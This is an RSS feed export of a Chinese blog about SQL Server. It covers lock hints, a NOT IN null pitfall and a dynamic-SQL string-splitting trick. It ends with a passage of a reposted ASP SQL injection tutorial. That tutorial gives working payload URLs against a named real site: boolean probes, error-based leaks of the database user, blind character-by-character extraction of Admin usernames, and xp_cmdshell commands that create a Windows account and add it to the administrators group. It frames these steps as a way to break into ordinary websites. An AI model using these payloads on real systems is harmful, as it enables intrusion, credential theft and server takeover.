Server系统中建议让系统自动管理锁，该系统会分析用户的SQL语句要求，自动为该请求加上合适的锁，而且在锁的数目太多时，系统会自动进行锁升级。如前所述，升级的门限由系统自动配置，并不需要用户配置。 <br /><br />在实际应用中，有时为了应用程序正确运行和保持数据的一致性，必须人为地给数据库的某个表加锁。比如，在某应用程序的一个事务操作中，需要根据一编号对几个数据表做统计操作，为保证统计数据时间的一致性和正确性，从统计第一个表开始到全部表结束，其他应用程序或事务不能再对这几个表写入数据，这个时候，该应用程序希望在从统计第一个数据表开始或在整个事务开始时能够由程序人为地（显式地）锁定这几个表，这就需要用到手工加锁（也称显式加锁）技术。 <br /><br />在SQL Server 的SQL语句（SELECT、INSERT、DELETE、UPDATE）支持显式加锁。这4个语句在显式加锁的语法上类似，下面仅以SELECT语句为例给出语法： <br /><br />SELECT FROM [ WITH ] <br /><br />其中，指需要在该语句执行时添加在该表上的锁类型。所指定的锁类型有如下几种： <br /><br />1．HOLDLOCK: 在该表上保持共享锁，直到整个事务结束，而不是在语句执行完立即释放所添加的锁。 <br /><br />2．NOLOCK：不添加共享锁和排它锁，当这个选项生效后，可能读到未提交读的数据或“脏数据”，这个选项仅仅应用于SELECT语句。 <br /><br />3． PAGLOCK：指定添加页面锁（否则通常可能添加表锁）。 <br /><br />4．READCOMMITTED：设置事务为读提交隔离性级别。 <br /><br />5．READPAST: 跳过已经加锁的数据行，这个选项将使事务读取数据时跳过那些已经被其他事务锁定的数据行，而不是阻塞直到其他事务释放锁，READPAST仅仅应用于READ COMMITTED隔离性级别下事务操作中的SELECT语句操作。 <br /><br />6．READUNCOMMITTED：等同于NOLOCK。 <br /><br />7．REPEATABLEREAD：设置事务为可重复读隔离性级别。 <br /><br />8．ROWLOCK：指定使用行级锁。 <br /><br />9．SERIALIZABLE：设置事务为可串行的隔离性级别。 <br /><br />10．TABLOCK：指定使用表级锁，而不是使用行级或页面级的锁，SQL Server在该语句执行完后释放这个锁，而如果同时指定了HOLDLOCK，该锁一直保持到这个事务结束。 <br /><br />11．TABLOCKX：指定在表上使用排它锁，这个锁可以阻止其他事务读或更新这个表的数据，直到这个语句或整个事务结束。 <br /><br />12． UPDLOCK ：指定在读表中数据时设置修改锁（update lock）而不是设置共享锁，该锁一直保持到这个语句或整个事务结束，使用UPDLOCK的作用是允许用户先读取数据（而且不阻塞其他用户读数据），并且保证在后来再更新数据时，这一段时间内这些数据没有被其他用户修改。 <br /><br />由上可见，在SQL Server中可以灵活多样地为SQL语句显式加锁，若适当使用，我们完全可以完成一些程序的特殊要求，保证数据的一致性和完整性。对于一般使用者而言，了解锁机制并不意味着必须使用它。事实上，SQL Server建议让系统自动管理数据库中的锁，而且一些关于锁的设置选项也没有提供给用户和数据库管理人员，对于特殊用户，通过给数据库中的资源显式加锁，可以满足很高的数据一致性和可靠性要求，只是需要特别注意避免死锁现象的出现。 <br /><br /><br />哦﹐簡單講一下﹐如果你使用where語句對update，delete等操作進行限制﹐如果修改了一條﹐有可能會使用行鎖，行鎖分RID與KID﹐如果有索引﹐SQL產生的是KID﹐如何沒有就會產生RID﹐都是鎖定一行﹔如果更新涉及行數較多﹐就會上升為頁面鎖（每頁8K）或表鎖。</font>
<img src ="http://www.blogjava.net/freebird/aggbug/146670.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/freebird/" target="_blank">freebird</a> 2007-09-20 08:57 <a href="http://www.blogjava.net/freebird/archive/2007/09/20/146670.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>如何解决孤立用户问题 </title><link>http://www.blogjava.net/freebird/archive/2007/07/31/133574.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Tue, 31 Jul 2007 06:49:00 GMT</pubDate><guid>http://www.blogjava.net/freebird/archive/2007/07/31/133574.html</guid><wfw:comment>http://www.blogjava.net/freebird/comments/133574.html</wfw:comment><comments>http://www.blogjava.net/freebird/archive/2007/07/31/133574.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.blogjava.net/freebird/comments/commentRss/133574.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/freebird/services/trackbacks/133574.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;<a href='http://www.blogjava.net/freebird/archive/2007/07/31/133574.html'>阅读全文</a><img src ="http://www.blogjava.net/freebird/aggbug/133574.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/freebird/" target="_blank">freebird</a> 2007-07-31 14:49 <a href="http://www.blogjava.net/freebird/archive/2007/07/31/133574.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>not in 失效</title><link>http://www.blogjava.net/freebird/archive/2007/03/09/102877.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Fri, 09 Mar 2007 09:05:00 GMT</pubDate><guid>http://www.blogjava.net/freebird/archive/2007/03/09/102877.html</guid><wfw:comment>http://www.blogjava.net/freebird/comments/102877.html</wfw:comment><comments>http://www.blogjava.net/freebird/archive/2007/03/09/102877.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/freebird/comments/commentRss/102877.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/freebird/services/trackbacks/102877.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 像SQL语句  select * from t1 where f1 not in (select f1 from t2) 这是去除t1表中包括t2中数据的语句。<br>如果在t2中的f1字段中有null值的话，则查不到结果。也就是说在not in 右边的集合中不能有null值，<br>而在not in左边有null值没有问题。 &nbsp;&nbsp;<a href='http://www.blogjava.net/freebird/archive/2007/03/09/102877.html'>阅读全文</a><img src ="http://www.blogjava.net/freebird/aggbug/102877.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/freebird/" target="_blank">freebird</a> 2007-03-09 17:05 <a href="http://www.blogjava.net/freebird/archive/2007/03/09/102877.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> [转帖]深入浅出理解索引结构 </title><link>http://www.blogjava.net/freebird/archive/2006/08/24/65468.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Thu, 24 Aug 2006 03:10:00 GMT</pubDate><guid>http://www.blogjava.net/freebird/archive/2006/08/24/65468.html</guid><wfw:comment>http://www.blogjava.net/freebird/comments/65468.html</wfw:comment><comments>http://www.blogjava.net/freebird/archive/2006/08/24/65468.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/freebird/comments/commentRss/65468.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/freebird/services/trackbacks/65468.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 主																		      														题										: 								转：（一）								作																		      														者										: freedk (								书生							...&nbsp;&nbsp;<a href='http://www.blogjava.net/freebird/archive/2006/08/24/65468.html'>阅读全文</a><img src ="http://www.blogjava.net/freebird/aggbug/65468.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/freebird/" target="_blank">freebird</a> 2006-08-24 11:10 <a href="http://www.blogjava.net/freebird/archive/2006/08/24/65468.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>itpub笔记－字符串分割</title><link>http://www.blogjava.net/freebird/archive/2006/08/08/62276.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Tue, 08 Aug 2006 00:40:00 GMT</pubDate><guid>http://www.blogjava.net/freebird/archive/2006/08/08/62276.html</guid><wfw:comment>http://www.blogjava.net/freebird/comments/62276.html</wfw:comment><comments>http://www.blogjava.net/freebird/archive/2006/08/08/62276.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/freebird/comments/commentRss/62276.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/freebird/services/trackbacks/62276.html</trackback:ping><description><![CDATA[
		<font size="2">
				<font face="Verdana">有一个字符串: a,bc,d,abce,ddz<br />现在用T-SQL语句把这一字符串变成这种样子:<br />item <br />---------- <br />a<br />bc<br />d<br />abce<br />ddz<br /><br />(5 row(s) affected)<br /><br /></font>正解：<br /></font>
		<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee">
				<font size="2">
						<span style="COLOR: #0000ff">declare</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #008000">@str</span>
						<span style="COLOR: #000000"> </span>
						<span style="FONT-WEIGHT: bold; COLOR: #000000">varchar</span>
						<span style="COLOR: #000000">(</span>
						<span style="FONT-WEIGHT: bold; COLOR: #800000">20</span>
						<span style="COLOR: #000000">),</span>
						<span style="COLOR: #008000">@strSql</span>
						<span style="COLOR: #000000"> </span>
						<span style="FONT-WEIGHT: bold; COLOR: #000000">varchar</span>
						<span style="COLOR: #000000">(</span>
						<span style="FONT-WEIGHT: bold; COLOR: #800000">8000</span>
				</font>
				<font size="2">
						<span style="COLOR: #000000">)<br /></span>
						<span style="COLOR: #0000ff">set</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #008000">@str</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #ff0000">a,bc,d,abce,ddz</span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #008080">--</span>
						<span style="COLOR: #008080"> 此处的字符串可以随心所欲的更改</span>
				</font>
				<span style="COLOR: #008080">
						<br />
				</span>
				<font size="2">
						<span style="COLOR: #0000ff">if</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #ff00ff">object_id</span>
						<span style="COLOR: #000000">(</span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #ff0000">tempdb.dbo.#temp1</span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #000000">) </span>
						<span style="COLOR: #0000ff">is</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #0000ff">null</span>
				</font>
				<span style="COLOR: #000000">
						<br />
				</span>
				<font size="2">
						<span style="COLOR: #0000ff">create</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #0000ff">table</span>
						<span style="COLOR: #000000"> #temp1(item </span>
						<span style="FONT-WEIGHT: bold; COLOR: #000000">varchar</span>
						<span style="COLOR: #000000">(</span>
						<span style="FONT-WEIGHT: bold; COLOR: #800000">20</span>
				</font>
				<font size="2">
						<span style="COLOR: #000000">))<br /></span>
						<span style="COLOR: #0000ff">else</span>
				</font>
				<span style="COLOR: #000000">
						<br />
				</span>
				<font size="2">
						<span style="COLOR: #0000ff">truncate</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #0000ff">table</span>
				</font>
				<font size="2">
						<span style="COLOR: #000000"> #temp1<br /></span>
						<span style="COLOR: #0000ff">SELECT</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #008000">@strSql</span>
						<span style="COLOR: #808080">=</span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #ff0000">insert into #temp1 values(</span>
						<span style="COLOR: #ff0000">'''</span>
						<span style="COLOR: #808080">+</span>
						<span style="COLOR: #ff00ff">REPLACE</span>
						<span style="COLOR: #000000">(</span>
						<span style="COLOR: #008000">@str</span>
						<span style="COLOR: #000000">,</span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #ff0000">,</span>
						<span style="COLOR: #ff0000">'</span>
						<span style="COLOR: #000000">,</span>
						<span style="COLOR: #ff0000">'''</span>
				</font>
				<font size="2">
						<span style="COLOR: #ff0000">) <br />insert into #temp1 values(</span>
						<span style="COLOR: #ff0000">'''</span>
						<span style="COLOR: #000000">)</span>
						<span style="COLOR: #808080">+</span>
						<span style="COLOR: #ff0000">'''</span>
						<span style="COLOR: #ff0000">)</span>
						<span style="COLOR: #ff0000">'</span>
				</font>
				<span style="COLOR: #000000">
						<br />
				</span>
				<font size="2">
						<span style="COLOR: #0000ff">print</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #008000">@strSql</span>
				</font>
				<span style="COLOR: #000000">
						<br />
				</span>
				<font size="2">
						<span style="COLOR: #0000ff">exec</span>
						<span style="COLOR: #000000"> (</span>
						<span style="COLOR: #008000">@strSql</span>
				</font>
				<font size="2">
						<span style="COLOR: #000000">)<br /></span>
						<span style="COLOR: #0000ff">select</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #808080">*</span>
						<span style="COLOR: #000000"> </span>
						<span style="COLOR: #0000ff">from</span>
						<span style="COLOR: #000000"> #temp1</span>
				</font>
		</div>
		<br />
		<font size="2">知识：<br />1.)  truncate table tableName   一次删除表中的所有数据，同于delete没有where，但是比delete省资源，因为占用的日志少。<br /></font>
<img src ="http://www.blogjava.net/freebird/aggbug/62276.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/freebird/" target="_blank">freebird</a> 2006-08-08 08:40 <a href="http://www.blogjava.net/freebird/archive/2006/08/08/62276.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQL注入天书—ASP注入漏洞全接触（转）</title><link>http://www.blogjava.net/freebird/archive/2006/07/30/60905.html</link><dc:creator>freebird</dc:creator><author>freebird</author><pubDate>Sun, 30 Jul 2006 15:06:00 GMT</pubDate><guid>http://www.blogjava.net/freebird/archive/2006/07/30/60905.html</guid><wfw:comment>http://www.blogjava.net/freebird/comments/60905.html</wfw:comment><comments>http://www.blogjava.net/freebird/archive/2006/07/30/60905.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/freebird/comments/commentRss/60905.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/freebird/services/trackbacks/60905.html</trackback:ping><description><![CDATA[
		<font size="2">
				<hr />
		</font>
		<p>
				<font size="2">随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即SQL注入。</font>
		</p>
		<p>
				<font size="2">SQL注入是从正常的WWW端口访问，而且表面看起来跟一般的Web页面访问没什么区别，所以目前市面的防火墙都不会对SQL注入发出警报，如果管理员没查看IIS日志的习惯，可能被入侵很长时间都不会发觉。</font>
		</p>
		<p>
				<font size="2">    但是，SQL注入的手法相当灵活，在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析，构造巧妙的SQL语句，从而成功获取想要的数据，是高手与“菜鸟”的根本区别。</font>
		</p>
		<p>
				<font size="2">根据国情，国内的网站用ASP+Access或SQLServer的占70%以上，PHP+MySQ占L20%，其他的不足10%。在本文，我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧，PHP注入的文章由NB联盟的另一位朋友zwell撰写，希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇，因为部分人对注入的基本判断方法还存在误区。大家准备好了吗？Let's Go...</font>
		</p>
		<p>
				<font size="2">入 门 篇</font>
		</p>
		<p>
				<font size="2">如果你以前没试过SQL注入的话，那么第一步先把IE菜单=&gt;工具=&gt;Internet选项=&gt;高级=&gt;显示友好 HTTP 错误信息前面的勾去掉。否则，不论服务器返回什么错误，IE都只显示为HTTP 500服务器错误，不能获得更多的提示信息。</font>
		</p>
		<p>
				<font size="2">第一节、SQL注入原理</font>
		</p>
		<p>
				<font size="2">以下我们从一个网站</font>
				<a href="http://www.19cn.com/">
						<font size="2">www.19cn.com</font>
				</a>
				<font size="2">开始（注：本文发表前已征得该站站长同意，大部分都是真实数据）。</font>
		</p>
		<p>
				<font size="2">在网站首页上，有名为“IE不能打开新窗口的多种解决方法”的链接，地址为：</font>
				<a href="http://www.19cn.com/showdetail.asp?id=49">
						<font size="2">http://www.19cn.com/showdetail.asp?id=49</font>
				</a>
				<font size="2">，我们在这个地址后面加上单引号'，服务器会返回下面的错误提示：</font>
		</p>
		<p>
				<font size="2">Microsoft JET Database Engine 错误 '80040e14' </font>
		</p>
		<p>
				<font size="2">字符串的语法错误 在查询表达式 'ID=49'' 中。 </font>
		</p>
		<p>
				<font size="2">/showdetail.asp，行8</font>
		</p>
		<p>
				<font size="2">从这个错误提示我们能看出下面几点：</font>
		</p>
		<p>
				<font size="2">1.网站使用的是Access数据库，通过JET引擎连接数据库，而不是通过ODBC。</font>
		</p>
		<p>
				<font size="2">2.程序没有判断客户端提交的数据是否符合程序要求。</font>
		</p>
		<p>
				<font size="2">3.该SQL语句所查询的表中有一名为ID的字段。</font>
		</p>
		<p>
				<font size="2">从上面的例子我们可以知道，SQL注入的原理，就是从客户端提交特殊的代码，从而收集程序及服务器的信息，从而获取你想到得到的资料。</font>
		</p>
		<p>
				<font size="2">第二节、判断能否进行SQL注入</font>
		</p>
		<p>
				<font size="2">看完第一节，有一些人会觉得：我也是经常这样测试能否注入的，这不是很简单吗？</font>
		</p>
		<p>
				<font size="2">其实，这并不是最好的方法，为什么呢？</font>
		</p>
		<p>
				<font size="2">首先，不一定每台服务器的IIS都返回具体错误提示给客户端，如果程序中加了cint(参数)之类语句的话，SQL注入是不会成功的，但服务器同样会报错，具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。</font>
		</p>
		<p>
				<font size="2">其次，部分对SQL注入有一点了解的程序员，认为只要把单引号过滤掉就安全了，这种情况不为少数，如果你用单引号测试，是测不到注入点的</font>
		</p>
		<p>
				<font size="2">那么，什么样的测试方法才是比较准确呢？答案如下：<br />① </font>
				<a href="http://www.19cn.com/showdetail.asp?id=49">
						<font size="2">http://www.19cn.com/showdetail.asp?id=49</font>
				</a>
		</p>
		<p>
				<font size="2">② </font>
				<a href="http://www.19cn.com/showdetail.asp?id=49">
						<font size="2">http://www.19cn.com/showdetail.asp?id=49</font>
				</a>
				<font size="2">and 1=1</font>
		</p>
		<p>
				<font size="2">③ </font>
				<a href="http://www.19cn.com/showdetail.asp?id=49">
						<font size="2">http://www.19cn.com/showdetail.asp?id=49</font>
				</a>
				<font size="2">and 1=2</font>
		</p>
		<p>
				<font size="2">这就是经典的1=1、1=2测试法了，怎么判断呢？看看上面三个网址返回的结果就知道了：</font>
		</p>
		<p>
				<font size="2">可以注入的表现：</font>
		</p>
		<p>
				<font size="2">① 正常显示（这是必然的，不然就是程序有错误了）</font>
		</p>
		<p>
				<font size="2">② 正常显示，内容基本与①相同</font>
		</p>
		<p>
				<font size="2">③ 提示BOF或EOF（程序没做任何判断时）、或提示找不到记录（判断了rs.eof时）、或显示内容为空（程序加了on error resume next）</font>
		</p>
		<p>
				<font size="2">不可以注入就比较容易判断了，①同样正常显示，②和③一般都会有程序定义的错误提示，或提示类型转换时出错。</font>
		</p>
		<p>
				<font size="2">　　当然，这只是传入参数是数字型的时候用的判断方法，实际应用的时候会有字符型和搜索型参数，我将在中级篇的“SQL注入一般步骤”再做分析。</font>
		</p>
		<p>
				<font size="2">第三节、判断数据库类型及注入方法</font>
		</p>
		<p>
				<font size="2">不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer，网上超过99%的网站都是其中之一。</font>
		</p>
		<p>
				<font size="2">怎么让程序告诉你它使用的什么数据库呢？来看看：</font>
		</p>
		<p>
				<font size="2">SQLServer有一些系统变量，如果服务器IIS提示没关闭，并且SQLServer返回错误提示的话，那可以直接从出错信息获取，方法如下：</font>
		</p>
		<p>
				<a href="http://www.19cn.com/showdetail.asp?id=49">
						<font size="2">http://www.19cn.com/showdetail.asp?id=49</font>
				</a>
				<font size="2">and user&gt;0</font>
		</p>
		<p>
				<font size="2">这句语句很简单，但却包含了SQLServer特有注入方法的精髓，我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的，重点在and user&gt;0，我们知道，user是SQLServer的一个内置变量，它的值是当前连接的用户名，类型为nvarchar。拿一个nvarchar的值跟int的数0比较，系统会先试图将nvarchar的值转成int型，当然，转的过程中肯定会出错，SQLServer的出错提示是：将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误，呵呵，abc正是变量user的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。</font>
		</p>
		<p>
				<font size="2">顺便说几句，众所周知，SQLServer的用户sa是个等同Adminstrators权限的角色，拿到了sa权限，几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录，要注意的是：如果是sa登录，提示是将”dbo”转换成int的列发生错误，而不是”sa”。 </font>
		</p>
		<p>
				<font size="2">如果服务器IIS不允许返回错误提示，那怎么判断数据库类型呢？我们可以从Access和SQLServer和区别入手，Access和SQLServer都有自己的系统表，比如存放数据库中所有对象的表，Access是在系统表[msysobjects]中，但在Web环境下读该表会提示“没有权限”，SQLServer是在表[sysobjects]中，在Web环境下可正常读取。</font>
		</p>
		<p>
				<font size="2">在确认可以注入的情况下，使用下面的语句：</font>
		</p>
		<p>
				<a href="http://www.19cn.com/showdetail.asp?id=49">
						<font size="2">http://www.19cn.com/showdetail.asp?id=49</font>
				</a>
				<font size="2">and (select count(*) from sysobjects)&gt;0</font>
		</p>
		<p>
				<a href="http://www.19cn.com/showdetail.asp?id=49">
						<font size="2">http://www.19cn.com/showdetail.asp?id=49</font>
				</a>
				<font size="2">and (select count(*) from msysobjects)&gt;0</font>
		</p>
		<p>
				<font size="2">如果数据库是SQLServer，那么第一个网址的页面与原页面</font>
				<a href="http://www.19cn.com/showdetail.asp?id=49">
						<font size="2">http://www.19cn.com/showdetail.asp?id=49</font>
				</a>
				<font size="2">是大致相同的；而第二个网址，由于找不到表msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。</font>
		</p>
		<p>
				<font size="2">如果数据库用的是Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启IIS错误提示时的验证。</font>
		</p>
		<p>
				<font size="2">进 阶 篇</font>
		</p>
		<p>
				<font size="2">在入门篇，我们学会了ＳＱＬ注入的判断方法，但真正要拿到网站的保密内容，是远远不够的。接下来，我们就继续学习如何从数据库中获取想要获得的内容，首先，我们先看看ＳＱＬ注入的一般步骤：</font>
		</p>
		<p>
				<font size="2">第一节、ＳＱＬ注入的一般步骤</font>
		</p>
		<p>
				<font size="2">首先，判断环境，寻找注入点，判断数据库类型，这在入门篇已经讲过了。</font>
		</p>
		<p>
				<font size="2">其次，根据注入参数类型，在脑海中重构SQL语句的原貌，按参数类型主要分为下面三种：</font>
		</p>
		<p>
				<font size="2">(A)  ID=49 这类注入的参数是数字型，SQL语句原貌大致如下：<br />Select * from 表名 where 字段=49<br />注入的参数为ID=49 And [查询条件]，即是生成语句：<br />Select * from 表名 where 字段=49 And [查询条件]</font>
		</p>
		<p>
				<font size="2">(B) Class=连续剧 这类注入的参数是字符型，SQL语句原貌大致概如下：<br />Select * from 表名 where 字段=’连续剧’ <br />注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ，即是生成语句：<br />Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’</font>
		</p>
		<p>
				<font size="2">(C) 搜索时没过滤参数的，如keyword=关键字，SQL语句原貌大致如下：<br />Select * from 表名 where 字段like ’%关键字%’ <br />注入的参数为keyword=’ and [查询条件] and ‘%25’=’， 即是生成语句：<br />Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’</font>
		</p>
		<p>
				<font size="2">接着，将查询条件替换成SQL语句，猜解表名，例如：</font>
		</p>
		<p>
				<font size="2">ID=49 And (Select Count(*) from Admin)&gt;=0</font>
		</p>
		<p>
				<font size="2">如果页面就与ID=49的相同，说明附加条件成立，即表Admin存在，反之，即不存在（请牢记这种方法）。如此循环，直至猜到表名为止。</font>
		</p>
		<p>
				<font size="2">表名猜出来后，将Count(*)替换成Count(字段名)，用同样的原理猜解字段名。</font>
		</p>
		<p>
				<font size="2">有人会说：这里有一些偶然的成分，如果表名起得很复杂没规律的，那根本就没得玩下去了。说得很对，这世界根本就不存在100%成功的黑客技术，苍蝇不叮无缝的蛋，无论多技术多高深的黑客，都是因为别人的程序写得不严密或使用者保密意识不够，才有得下手。</font>
		</p>
		<p>
				<font size="2">有点跑题了，话说回来，对于SQLServer的库，还是有办法让程序告诉我们表名及字段名的，我们在高级篇中会做介绍。<br /> <br />    最后，在表名和列名猜解成功后，再使用SQL语句，得出字段的值，下面介绍一种最常用的方法－Ascii逐字解码法，虽然这种方法速度很慢，但肯定是可行的方法。</font>
		</p>
		<p>
				<font size="2">我们举个例子，已知表Admin中存在username字段，首先，我们取第一条记录，测试长度：</font>
		</p>
		<p>
				<a href="http://www.19cn.com/showdetail.asp?id=49">
						<font size="2">http://www.19cn.com/showdetail.asp?id=49</font>
				</a>
				<font size="2">and (select top 1 len(username) from Admin)&gt;0</font>
		</p>
		<p>
				<font size="2">先说明原理：如果top 1的username长度大于0，则条件成立；接着就是&gt;1、&gt;2、&gt;3这样测试下去，一直到条件不成立为止，比如&gt;7成立，&gt;8不成立，就是len(username)=8</font>
		</p>
		<p>
				<font size="2">　　当然没人会笨得从0,1,2,3一个个测试，怎么样才比较快就看各自发挥了。在得到username的长度后，用mid(username,N,1)截取第N位字符，再asc(mid(username,N,1))得到ASCII码，比如：</font>
		</p>
		<p>
				<font size="2">id=49 and (select top 1 asc(mid(username,1,1)) from Admin)&gt;0</font>
		</p>
		<p>
				<font size="2">同样也是用逐步缩小范围的方法得到第1位字符的ASCII码，注意的是英文和数字的ASCII码在1-128之间，可以用折半法加速猜解，如果写成程序测试，效率会有极大的提高。</font>
		</p>
		<p>
				<font size="2">第二节、ＳＱＬ注入常用函数</font>
		</p>
		<p>
				<font size="2">有SQL语言基础的人，在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平，特别是一些常用的函数及命令。</font>
		</p>
		<p>
				<font size="2">Access：asc(字符)  SQLServer：unicode(字符)<br />作用：返回某字符的ASCII码</font>
		</p>
		<p>
				<font size="2">Access：chr(数字)  SQLServer：nchar(数字)<br />作用：与asc相反，根据ASCII码返回字符</font>
		</p>
		<p>
				<font size="2">Access：mid(字符串,N,L)  SQLServer：substring(字符串,N,L)<br />作用：返回字符串从N个字符起长度为L的子字符串，即N到N+L之间的字符串</font>
		</p>
		<p>
				<font size="2">Access：abc(数字)  SQLServer：abc (数字)<br />作用：返回数字的绝对值（在猜解汉字的时候会用到）</font>
		</p>
		<p>
				<font size="2">Access：A between B And C  SQLServer：A between B And C<br />作用：判断A是否界于B与C之间</font>
		</p>
		<p>
				<font size="2">第三节、中文处理方法</font>
		</p>
		<p>
				<font size="2">    在注入中碰到中文字符是常有的事，有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解，“中文恐惧症”很快可以克服。先说一点常识：</font>
		</p>
		<p>
				<font size="2">Access中，中文的ASCII码可能会出现负数，取出该负数后用abs()取绝对值，汉字字符不变。</font>
		</p>
		<p>
				<font size="2">SQLServer中，中文的ASCII为正数，但由于是UNICODE的双位编码，不能用函数ascii()取得ASCII码，必须用函数unicode ()返回unicode值，再用nchar函数取得对应的中文字符。</font>
		</p>
		<p>
				<font size="2">    了解了上面的两点后，是不是觉得中文猜解其实也跟英文差不多呢？除了使用的函数要注意、猜解范围大一点外，方法是没什么两样的。</font>
		</p>
		<p>
				<font size="2">高 级 篇</font>
		</p>
		<p>
				<font size="2">看完入门篇和进阶篇后，稍加练习，破解一般的网站是没问题了。但如果碰到表名列名猜不到，或程序作者过滤了一些特殊字符，怎么提高注入的成功率？怎么样提高猜解效率？请大家接着往下看高级篇。</font>
		</p>
		<p>
				<font size="2">第一节、利用系统表注入SQLServer数据库</font>
		</p>
		<p>
				<font size="2">    SQLServer是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了很大的方便，但另一方面，也为注入者提供了一个跳板，我们先来看看几个具体的例子：</font>
		</p>
		<p>
				<font size="2">① </font>
				<a href="http://site/url.asp?id=1;exec">
						<font size="2">http://Site/url.asp?id=1;exec</font>
				</a>
				<font size="2">master..xp_cmdshell "net user name password /add"--</font>
		</p>
		<p>
				<font size="2">　　分号;在SQLServer中表示隔开前后两句语句，--表示后面的语句为注释，所以，这句语句在SQLServer中将被分成两句执行，先是Select出ID=1的记录，然后执行存储过程xp_cmdshell，这个存储过程用于调用系统命令，于是，用net命令新建了用户名为name、密码为password的windows的帐号，接着：</font>
		</p>
		<p>
				<font size="2">② </font>
				<a href="http://site/url.asp?id=1;exec">
						<font size="2">http://Site/url.asp?id=1;exec</font>
				</a>
				<font size="2">master..xp_cmdshell "net localgroup administrators name /add"--</font>
		</p>
		<p>
				<font size="2">　　将新建的帐号name加入管理员组，不用两分钟，你已经拿到了系统最高权限！当然，这种方法只适用于用sa连接数据库的情况，否则，是没有权限调用xp_cmdshell的。</font>
		</p>
		<p>
				<font size="2">　　③ </font>
				<a href="http://site/url.asp?id=1">
						<font size="2">http://Site/url.asp?id=1</font>
